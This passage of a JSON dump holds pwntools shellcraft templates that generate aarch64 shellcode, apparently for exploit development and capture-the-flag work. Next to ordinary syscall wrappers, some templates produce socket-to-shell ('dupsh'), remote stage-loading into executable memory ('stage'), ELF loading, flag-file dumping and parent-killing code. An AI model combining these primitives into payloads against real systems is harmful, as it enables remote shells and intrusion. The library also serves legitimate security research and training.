${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/darwin/syscalls/write.asm",
    "content": "<%\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>write(fd, buf, n) -> str\n\nInvokes the syscall write.\n\nSee 'man 2 write' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    n(size_t): n\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, n=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'n']\n    argument_values = [fd, buf, n]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[index] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[target] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_write']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % syscalls)\n%>\n    /* write(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/freebsd/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/freebsd/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import aarch64, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import freebsd_aarch64_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n    >>> print(shellcraft.aarch64.freebsd.syscall(11, 1, 'sp', 2, 0).rstrip())\n        /* call syscall(11, 1, 'sp', 2, 0) */\n        mov  x0, #1\n        mov  x1, sp\n        mov  x2, #2\n        mov  x3, xzr\n        mov  x8, #11\n        svc 0\n    >>> print(shellcraft.aarch64.freebsd.syscall('SYS_exit', 0).rstrip())\n        /* call exit(0) */\n        mov  x0, xzr\n        mov  x8, #SYS_exit\n        svc 0\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers  = abi.register_arguments\n  arguments  = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  arguments  = iter(filter(lambda arg: arg is not None, arguments))\n  regctx     = dict(zip(registers, arguments))\n  stack_args = reversed(list(arguments)) # push remaining args on stack in reverse order\n%>\\\n    /* call ${syscall_repr} */\n    ${aarch64.setregs(regctx)}\n%for arg in stack_args:\n    ${aarch64.push(arg)}\n%endfor\n    svc 0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/infloop.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<%docstring>\nAn infinite loop.\n\nExample:\n\n    >>> io = run_assembly(shellcraft.infloop())\n    >>> io.recvall(timeout=1)\n    b''\n    >>> io.close()\n\n</%docstring>\n<% infloop = common.label(\"infloop\") %>\n${infloop}:\n    b ${infloop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/__doc__",
    "content": ""
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/cat.asm",
    "content": "<%\n  from pwnlib import shellcraft\n%>\n<%page args=\"filename, fd=1\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'This is the flag\\n')\n    >>> shellcode = shellcraft.cat(f) + shellcraft.exit(0)\n    >>> run_assembly(shellcode).recvline()\n    b'This is the flag\\n'\n</%docstring>\n<%\nif fd == 'x0':\n  raise Exception(\"File descriptor cannot be x0, it will be overwritten\")\n%>\n    ${shellcraft.open(filename)}\n    ${shellcraft.syscall('SYS_sendfile', fd, 'x0', 0, 0x7fffffff)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/cat2.asm",
    "content": "<%\n  from pwnlib import shellcraft\n%>\n<%page args=\"filename, fd=1, length=0x4000\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\nUses an extra stack buffer and must know the length.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'This is the flag\\n')\n    >>> shellcode = shellcraft.cat2(f) + shellcraft.exit(0)\n    >>> run_assembly(shellcode).recvline()\n    b'This is the flag\\n'\n</%docstring>\n<%\nif fd == 'x0':\n  raise Exception(\"File descriptor cannot be x0, it will be overwritten\")\n%>\n    ${shellcraft.open(filename)}\n    ${shellcraft.mov('x2', length)}\n    sub sp, sp, x2\n    ${shellcraft.read('x0', 'sp', 'x2')}\n    ${shellcraft.write(fd, 'sp', 'x0')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/connect.asm",
    "content": "<%\nfrom pwnlib.shellcraft.aarch64 import pushstr\nfrom pwnlib.shellcraft.aarch64.linux import socket, syscall\nfrom pwnlib.util.net import sockaddr\n%>\n\n<%page args=\"host, port, network = 'ipv4'\"/>\n<%docstring>\n    Connects to the host on the specified port.\n    Network is either 'ipv4' or 'ipv6'.\n    Leaves the connected socket in x12.\n</%docstring>\n<%\n    sockaddr, addr_len, address_family = sockaddr(host, port, network)\n%>\\\n    /* open new socket */\n    ${socket(network)}\n\n    /* Put socket into x12 */\n    mov x12, x0\n\n    /* Create address structure on stack */\n    ${pushstr(sockaddr, False)}\n\n    /* Connect the socket */\n    ${syscall('SYS_connect', 'x12', 'sp', addr_len)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/dupio.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.aarch64 import mov,setregs %>\n<%page args=\"sock = 'x12'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = x12]\n    Duplicates sock to stdin, stdout and stderr\n</%docstring>\n<%\n  looplabel = common.label(\"loop\")\n%>\n    /* dup() file descriptor ${sock} into stdin/stdout/stderr */\n        ${setregs({'x8': 'SYS_dup3', 'x1': 2, 'x2': 0})}\n\n${looplabel}:\n        ${mov('x0', sock)}\n        svc #0\n        subs x1, x1, #1\n        bpl ${looplabel}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/dupsh.asm",
    "content": "<% from pwnlib.shellcraft.aarch64 import linux %>\n<%page args=\"sock = 'x12'\"/>\n<%docstring>\nArgs: [sock (imm/reg) = x12]\n    Duplicates sock to stdin, stdout and stderr and spawns a shell.\n</%docstring>\n\n\n${linux.dupio(sock)}\n\n${linux.sh()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/echo.asm",
    "content": "<% from pwnlib.shellcraft import aarch64 %>\n<%page args=\"string, sock = '1'\"/>\n<%docstring>\nWrites a string to a file descriptor\n\nExample:\n\n    >>> run_assembly(shellcraft.echo('hello\\n', 1)).recvline()\n    b'hello\\n'\n\n</%docstring>\n\n${aarch64.pushstr(string, append_null = False)}\n${aarch64.linux.write(sock, 'sp', len(string))}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/forkexit.asm",
    "content": "<%\n    from pwnlib.shellcraft import common\n    from pwnlib.shellcraft.aarch64.linux import fork, exit\n%>\n<%page args=\"\"/>\n<%docstring>\nAttempts to fork.  If the fork is successful, the parent exits.\n</%docstring>\n<%\ndont_exit = common.label('forkexit')\n%>\n    ${fork()}\n    cmp x0, 1\n    blt ${dont_exit}\n    ${exit(0)}\n${dont_exit}:\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/killparent.asm",
    "content": "<%\n    from pwnlib.shellcraft.aarch64.linux import getppid, kill\n    from pwnlib.shellcraft.common import label\n%>\n<%docstring>\nKills its parent process until whatever the parent is (probably init)\ncannot be killed any longer.\n</%docstring>\n<%\n    killparent_loop = label('killparent')\n%>\n${killparent_loop}:\n    ${getppid()}\n    ${kill('x0')}\n    cmp x0,x0\n    beq ${killparent_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/loader.asm",
    "content": "<%\n    from pwnlib.shellcraft.aarch64.linux import exit as exit\n    from pwnlib.shellcraft.aarch64.linux import mmap\n    from pwnlib.shellcraft.aarch64 import setregs, mov, memcpy\n\n    from pwnlib.shellcraft import common\n    from pwnlib.util.packing import unpack\n%>\n<%page args=\"address\"/>\n<%docstring>\nLoads a statically-linked ELF into memory and transfers control.\n\nArguments:\n    address(int): Address of the ELF as a register or integer.\n</%docstring>\n<%\nelf_magic = unpack(b'\\x7fELF', 32)\ndie       = common.label('die')\nload_one  = common.label('load_one')\nnext_phdr = common.label('next_phdr')\n\n\"\"\"\nElf64_Ehdr\n    +0x0000 e_ident              : unsigned char [16]\n    +0x0010 e_type               : Elf64_Half\n    +0x0012 e_machine            : Elf64_Half\n    +0x0014 e_version            : Elf64_Word\n    +0x0018 e_entry              : Elf64_Addr\n    +0x0020 e_phoff              : Elf64_Off\n    +0x0028 e_shoff              : Elf64_Off\n    +0x0030 e_flags              : Elf64_Word\n    +0x0034 e_ehsize             : Elf64_Half\n    +0x0036 e_phentsize          : Elf64_Half\n    +0x0038 e_phnum              : Elf64_Half\n    +0x003a e_shentsize          : Elf64_Half\n    +0x003c e_shnum              : Elf64_Half\n    +0x003e e_shstrndx           : Elf64_Half\n\nElf64_Phdr\n    +0x0000 p_type               : Elf64_Word\n    +0x0004 p_flags              : Elf64_Word\n    +0x0008 p_offset             : Elf64_Off\n    +0x0010 p_vaddr              : Elf64_Addr\n    +0x0018 p_paddr              : Elf64_Addr\n    +0x0020 p_filesz             : Elf64_Xword\n    +0x0028 p_memsz              : Elf64_Xword\n    +0x0030 p_align              : Elf64_Xword\n\"\"\"\ne_entry  = 0x0018\ne_phoff  = 0x0020\ne_phnum  = 0x0038\ne_phentsize = 0x0036\np_type   = 0x0000\np_offset = 0x0008\np_vaddr  = 0x0010\np_filesz = 0x0020\np_memsz  = 0x0028\n\nPT_LOAD  = 1\n%>\n\n    ${setregs({'x0': address})}\n\n    /* Check the ELF header */\n    ldr  x1,  [x0]\n    ${mov('x2', elf_magic)}\n    cmp  w1, w2\n    bne  ${die}\n\n    /* Discover program headers */\n    add x1, x0, #${e_phoff}\n    ldr x1, [x1]\n    add x1, x1, x0 /* x1 = &program headers */\n\n    add x2, x0, #${e_phentsize}\n    ldrh w2, [x2] /* x2 = program header size */\n\n    add x3, x0, #${e_phnum}\n    ldrh w3, [x3] /* x3 = number of program headers */\n\n1:\n    /* For each section header, mmap it to the desired address */\n    stp  x0, x1, [sp, #-16]!\n    stp  x2, x3, [sp, #-16]!\n    bl   ${load_one}\n    ldp  x2, x3, [sp], #16\n    ldp  x0, x1, [sp], #16\n\n    add  x1, x1, x2\n    subs x3, x3, #1\n    bne 1b\n\n    /* Everything is loaded and RWX.  Find the entry point and call it */\n    add x1, x0, #${e_entry}\n    ldr x1, [x1]\n    mov x8, x1\n\n    /* Set up the fake stack.\n       For whatever reason, aarch64 binaries really want AT_RANDOM\n       to be available. */\n    /* AT_NULL */\n    eor x0, x0, x0\n    eor x1, x1, x1\n    stp  x0, x1, [sp, #-16]!\n    /* AT_RANDOM */\n    mov x2, #25\n    mov x3, sp\n    stp  x2, x3, [sp, #-16]!\n\n    /* argc, argv[0], argv[1], envp; x0 must be zero! */\n    /* ideally these could all be empty, but unfortunately\n       we have to keep the stack aligned.  it's easier to\n       just push an extra argument than care... */\n    stp  x0, x1, [sp, #-16]! /* argv[1] = NULL, envp = NULL */\n    mov  x2, 1\n    mov  x3, sp\n    stp  x2, x3, [sp, #-16]! /* argc = 1, argv[0] = \"\" */\n\n    br x8\n\n${load_one}:\n    /* x1 = &program headers */\n    stp x29, x30, [sp, #-16]!\n    mov x29, sp\n\n    /* If it's not a PT_LOAD header, don't care */\n    add x2, x1, #${p_type}\n    ldr x2, [x2]\n    uxth w2, w2 /* zero-extend halfword */\n    cmp x2, #${PT_LOAD}\n    bne ${next_phdr}\n\n    /* Get the destination address into x2 */\n    add x2, x1, ${p_vaddr}\n    ldr x2, [x2]\n\n    /* Get the size to mmap into x3 */\n    add x3, x1, #${p_memsz}\n    ldr x3, [x3]\n    lsr w3, w3, #12\n    add x3, x3, #1\n\n    /* We can't move the program break with brk(),\n       so we basically have to fake it.  Allocate\n       more space than we ever expect the heap to\n       need, by over-allocating space by 8x */\n    lsl w3, w3, #12 + 4\n\n    /* Map the page in */\n    stp x0, x1, [sp, #-16]!\n    stp x2, x3, [sp, #-16]!\n    lsr w2, w2, #12\n    lsl w2, w2, #12\n    ${mmap('x2', 'x3', 'PROT_READ|PROT_WRITE|PROT_EXEC', 'MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED', 0, 0)}\n    /* Ignore failure */\n    ldp x2, x3, [sp], #16\n    ldp x0, x1, [sp], #16\n\n    /* Get the source address into x4 */\n    add x4, x1, #${p_offset}\n    ldr x4, [x4]\n    add x4, x4, x0\n\n    /* Get the number of bytes into x5 */\n    add x5, x1, #${p_filesz}\n    ldr x5, [x5]\n\n    /* Copy the data */\n    stp x0, x1, [sp, #-16]!\n    stp x2, x3, [sp, #-16]!\n    stp x4, x5, [sp, #-16]!\n    ${memcpy('x2','x4','x5')}\n    ldp x4, x5, [sp], #16\n    ldp x2, x3, [sp], #16\n    ldp x0, x1, [sp], #16\n\n${next_phdr}:\n    mov sp, x29\n    ldp x29, x30, [sp], #16\n    ret x30\n\n${die}:\n    ${exit(1)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/loader_append.asm",
    "content": "<%\n    from pwnlib.shellcraft.aarch64.linux import loader\n    from pwnlib.shellcraft import common\n%>\n<%docstring>\nLoads a statically-linked ELF into memory and transfers control.\n\nSimilar to loader.asm but loads an appended ELF.\n\nArguments:\n    data(str): If a valid filename, the data is loaded from the named file.\n               Otherwise, this is treated as raw ELF data to append.\n               If ``None``, it is ignored.\n\nExample:\n\nThe following doctest is commented out because it doesn't work on Travis\nfor reasons I cannot diagnose.  However, it should work just fine :-)\n\n    >>> payload = shellcraft.echo(b'Hello, world!\\n') + shellcraft.exit(0)\n    >>> payloadELF = ELF.from_assembly(payload)\n    >>> loader = shellcraft.loader_append(payloadELF.data)\n    >>> loaderELF = ELF.from_assembly(loader, vma=0, shared=True)\n    >>> loaderELF.process().recvall()\n    b'Hello, world!\\n'\n\n</%docstring>\n<%page args=\"data = None\"/>\n<%\nthere = common.label('there')\nhere  = common.label('here')\n%>\n    b ${there}\n${here}:\n    mov x0, x30 /* lr */\n    ${loader('x0')}\n${there}:\n    bl ${here}\n%if data:\n<%\nimport os\n\nif b'\\x00' not in data and os.path.isfile(data):\n    with open(data, 'rb') as f:\n        data = f.read()\n%>\n    ${'.string \"%s\"' % ''.join('\\\\x%02x' % c for c in bytearray(data))}\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/open.asm",
    "content": "<%\n  from pwnlib import shellcraft\n%>\n<%page args=\"filename, flags='O_RDONLY', mode='x3'\"/>\n<%docstring>\nOpens a file\n</%docstring>\n<%\n  AT_FDCWD=-100\n%>\n    ${shellcraft.pushstr(filename)}\n    ${shellcraft.syscall('SYS_openat', AT_FDCWD, 'sp', flags, mode)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/readn.asm",
    "content": "<%\n    from pwnlib.shellcraft.aarch64.linux import read\n    from pwnlib.shellcraft.aarch64 import setregs\n    from pwnlib.shellcraft import common\n%>\n<%page args=\"fd, buf, nbytes\"/>\n<%docstring>\nReads exactly nbytes bytes from file descriptor fd into the buffer buf.\n\nArguments:\n    fd(int): fd\n    buf(void): buf\n    nbytes(size_t): nbytes\n</%docstring>\n<%\nreadn_loop = common.label('readn_loop')\n%>\n    ${setregs({'x3': buf, 'x4': nbytes})}\n${readn_loop}:\n    ${read(fd, 'x3', 'x4')}\n    add x3, x3, x0\n    subs x4, x4, x0\n    bne ${readn_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/setresuid.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<% from pwnlib.shellcraft.aarch64 import mov, linux %>\n<%page args=\"ruid=None, euid=None, suid=None\"/>\n<%docstring>\nArgs: [ruid = geteuid(), euid = ruid, suid = ruid]\n    Sets real, effective and saved user ids to given values\n</%docstring>\n\n%if ruid is None:\n${linux.geteuid()}\n<% ruid = 'x0' %>\n%endif\n<%\n if euid is None: euid = ruid\n if suid is None: suid = ruid\n%>\n\n${linux.syscalls.setresuid(ruid, euid, suid)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/sh.asm",
    "content": "<% from pwnlib import shellcraft as SC %>\n<%docstring>\nExecute a different process.\n\n    >>> p = run_assembly(shellcraft.aarch64.linux.sh())\n    >>> p.sendline(b'echo Hello')\n    >>> p.recv()\n    b'Hello\\n'\n\n</%docstring>\n    ${SC.pushstr('/bin///sh')}\n    ${SC.execve('sp', 0, 0)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/socket.asm",
    "content": "<% from pwnlib.shellcraft import aarch64 %>\n<% from pwnlib.util.net import sockaddr %>\n<% from pwnlib.constants import SOCK_STREAM, SOCK_DGRAM, SYS_socket %>\n<%page args=\"network = 'ipv4', proto = 'tcp'\"/>\n<%docstring>\nCreates a new socket\n</%docstring>\n<%\n    if network == 'ipv4':\n        sockaddr, length, address_family = sockaddr('127.0.0.1', 1, network)\n    elif network == 'ipv6':\n        sockaddr, length, address_family = sockaddr('::1', 1, network)\n    socktype = {\n        'tcp': SOCK_STREAM,\n        'udp': SOCK_DGRAM\n    }.get(proto, proto)\n%>\\\n    /* open new socket */\n    ${aarch64.linux.syscall(SYS_socket, address_family, socktype, 0)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/stage.asm",
    "content": "<%\nfrom pwnlib.shellcraft.aarch64 import mov\nfrom pwnlib.shellcraft.aarch64.linux import read, readn, mmap\nfrom pwnlib import constants as C\n%>\n<%page args=\"fd=0, length=None\"/>\n<%docstring>\nMigrates shellcode to a new buffer.\n\nArguments:\n    fd(int):\n        Integer file descriptor to recv data from.\n        Default is stdin (0).\n    length(int):\n        Optional buffer length.  If None, the first pointer-width\n        of data received is the length.\n\nExample:\n\n    >>> p = run_assembly(shellcraft.stage())\n    >>> sc = asm(shellcraft.echo(\"Hello\\n\", constants.STDOUT_FILENO))\n    >>> p.pack(len(sc))\n    >>> p.send(sc)\n    >>> p.recvline()\n    b'Hello\\n'\n</%docstring>\n<%\n    protection = C.PROT_READ | C.PROT_WRITE | C.PROT_EXEC\n    flags      = C.MAP_ANONYMOUS | C.MAP_PRIVATE\n\n    assert isinstance(fd, int)\n%>\n%if length is None:\n    /* How many bytes should we receive? */\n    ${read(fd, 'sp', 8)}\n    ldr x2, [sp]\n%else:\n    ${mov('x2', length)}\n    str x2, [sp]\n%endif\n\n    /* Page-align, assume <4GB */\n    lsr x2, x2, #12\n    add x2, x2, #1\n    lsl x2, x2, #12\n\n    /* Map it */\n    ${mmap(0, 'x2', protection, flags, 0, 0)}\n\n    /* Grab the saved size, save the address */\n    ldr x4, [sp]\n\n    /* Save the memory address */\n    str x0, [sp]\n\n    /* Read in all of the data */\n    ${readn(fd, 'x0', 'x4')}\n\n    /* Go to shellcode */\n    ldr x30, [sp]\n    ret\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/linux/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import aarch64, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import linux_aarch64_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None, arg6 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n    >>> print(shellcraft.aarch64.linux.syscall(11, 9, 'sp', 8, 0).rstrip())\n        /* call syscall(0xb, 9, 'sp', 8, 0) */\n        mov  x0, #9\n        add  x1, sp, xzr\n        mov  x2, #8\n        mov  x3, xzr\n        mov  x8, #11\n        svc 0\n    >>> print(shellcraft.aarch64.linux.syscall('SYS_exit', 0).rstrip())\n        /* call exit(0) */\n        mov  x0, xzr\n        mov  x8, #SYS_exit\n        svc 0\n    >>> print(pwnlib.shellcraft.openat(-2, '/home/pwn/flag').rstrip())\n        /* openat(fd=-2, file='/home/pwn/flag', oflag=0) */\n        /* push b'/home/pwn/flag\\x00' */\n        /* Set x14 = 8606431000579237935 = 0x77702f656d6f682f */\n        mov  x14, #26671\n        movk x14, #28015, lsl #16\n        movk x14, #12133, lsl #0x20\n        movk x14, #30576, lsl #0x30\n        /* Set x15 = 113668128124782 = 0x67616c662f6e */\n        mov  x15, #12142\n        movk x15, #27750, lsl #16\n        movk x15, #26465, lsl #0x20\n        stp x14, x15, [sp, #-16]!\n        add  x1, sp, xzr\n        /* Set x0 = -2 = -2 */\n        mov  x0, #65534\n        movk x0, #65535, lsl #16\n        movk x0, #65535, lsl #0x20\n        movk x0, #65535, lsl #0x30\n        mov  x2, xzr\n        /* call openat() */\n        mov  x8, #SYS_openat\n        svc 0\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers = abi.register_arguments\n  arguments = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  regctx    = dict(zip(registers, arguments))\n%>\\\n    /* call ${syscall_repr} */\n%if any(arguments):\n    ${aarch64.setregs(regctx)}\n%endif\n    svc 0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/memcpy.asm",
    "content": "<% from pwnlib.shellcraft import aarch64, pretty, common %>\n<%docstring>Copies memory.\n\nArgs:\n    dest: Destination address\n    src: Source address\n    n: Number of bytes\n</%docstring>\n<%page args=\"dest, src, n\"/>\n<%\nmemcpy_loop = common.label(\"memcpy_loop\")\n%>\n    /* memcpy(${pretty(dest)}, ${pretty(src)}, ${pretty(n)}) */\n    ${aarch64.setregs({'x0': dest, 'x1': src, 'x2': n})}\n${memcpy_loop}:\n    ldrb w3, [x1], #1\n    strb w3, [x0], #1\n    subs x2, x2, #1\n    bgt ${memcpy_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/mov.asm",
    "content": "<%\n  from pwnlib import shellcraft as SC\n  from pwnlib import constants\n  from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context\n  from pwnlib.log import getLogger\n  from pwnlib.util.lists import group\n  from pwnlib.util.packing import p16, u16, pack, unpack\n  from pwnlib.util.fiddling import xor_pair\n  from pwnlib.shellcraft import pretty\n  from pwnlib.shellcraft.registers import aarch64 as regs\n  log = getLogger('pwnlib.shellcraft.arm.mov')\n%>\n<%page args=\"dst, src\"/>\n<%docstring>\nMove src into dest.\n\nSupport for automatically avoiding newline and null bytes has to be done.\n\nIf src is a string that is not a register, then it will locally set\n`context.arch` to `'arm'` and use :func:`pwnlib.constants.eval` to evaluate the\nstring. Note that this means that this shellcode can change behavior depending\non the value of `context.os`.\n\nExamples:\n\n    >>> print(shellcraft.mov('x0','x1').rstrip())\n        mov  x0, x1\n    >>> print(shellcraft.mov('x0','0').rstrip())\n        mov  x0, xzr\n    >>> print(shellcraft.mov('x0', 9).rstrip())\n        mov  x0, #9\n    >>> print(shellcraft.mov('x0', 0x94532).rstrip())\n        /* Set x0 = 607538 = 0x94532 */\n        mov  x0, #17714\n        movk x0, #9, lsl #16\n\nArgs:\n  dest (str): The destination register.\n  src (str): Either the input register, or an immediate value.\n</%docstring>\n<%\nif dst not in regs:\n    log.error('%r is not a register' % str(dst))\n\nif not src in regs:\n    src = SC.eval(src)\n\nmov_x15 = None\nxor     = None\n\n\nif isinstance(src, int):\n    lobits = dst not in ('x0', 'x10')\n    packed = pack(src)\n    words  = group(2, packed)\n    xor    = [b'\\x00\\x00'] * 4\n\n    for i, word in enumerate(list(words)):\n        # If an entire word is zero, we can work around it.\n        # However, if any of the individual bytes are '\\n', or only\n        # one of the bytes is a zero, we must do an XOR.\n        if word == b'\\x00\\x00': continue\n\n        w = p16((u16(word) & 0x7ff) << 5 | lobits)\n        if b'\\n' not in w and b'\\x00' not in w:\n            if u16(word) & 7 == 0 and not lobits:\n                mov_x15 = dst\n                dst = 'x15'\n                lobits = 15\n            continue\n\n        a, b = xor_pair(word)\n        words[i] = a\n        xor[i]   = b\n\tif dst == 'x0':\n\t    mov_x15 = dst\n\t    dst = 'x15'\n\t    lobits = 15\n\n    xor = unpack(b''.join(xor))\n    if xor:\n        src = unpack(b''.join(words))\n\ntmp = 'x14'\nif dst == 'x14':\n    tmp = 'x15'\nif dst == 'x15':\n    tmp = 'x12'\n\n%>\n%if src == 'sp':\n    add  ${dst}, ${src}, xzr\n%elif src == 'x0':\n    add  ${dst}, ${src}, xzr, lsl #1\n%elif not isinstance(src, int):\n    mov  ${dst}, ${src}\n%else:\n  %if src == 0:\n    mov  ${dst}, xzr\n  %elif src & 0xffff == src:\n    mov  ${dst}, #${src}\n  %else:\n    /* Set ${dst} = ${src} = ${pretty(src, False)} */\n    %if src & 0x000000000000ffff:\n    mov  ${dst}, #${(src >> 0x00) & 0xffff}\n    %else:\n    mov  ${dst}, xzr\n    %endif\n    %if src & 0x00000000ffff0000:\n    movk ${dst}, #${(src >> 0x10) & 0xffff}, lsl #16\n    %endif\n    %if src & 0x0000ffff00000000:\n    movk ${dst}, #${(src >> 0x20) & 0xffff}, lsl #0x20\n    %endif\n    %if src & 0xffff000000000000:\n    movk ${dst}, #${(src >> 0x30) & 0xffff}, lsl #0x30\n    %endif\n  %endif\n  %if xor:\n  ${SC.mov(tmp, xor)}\n  eor ${dst}, ${tmp}, ${dst}\n  %endif\n  %if mov_x15:\n  mov ${mov_x15}, x15\n  %endif\n%endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/aarch64/push.asm",
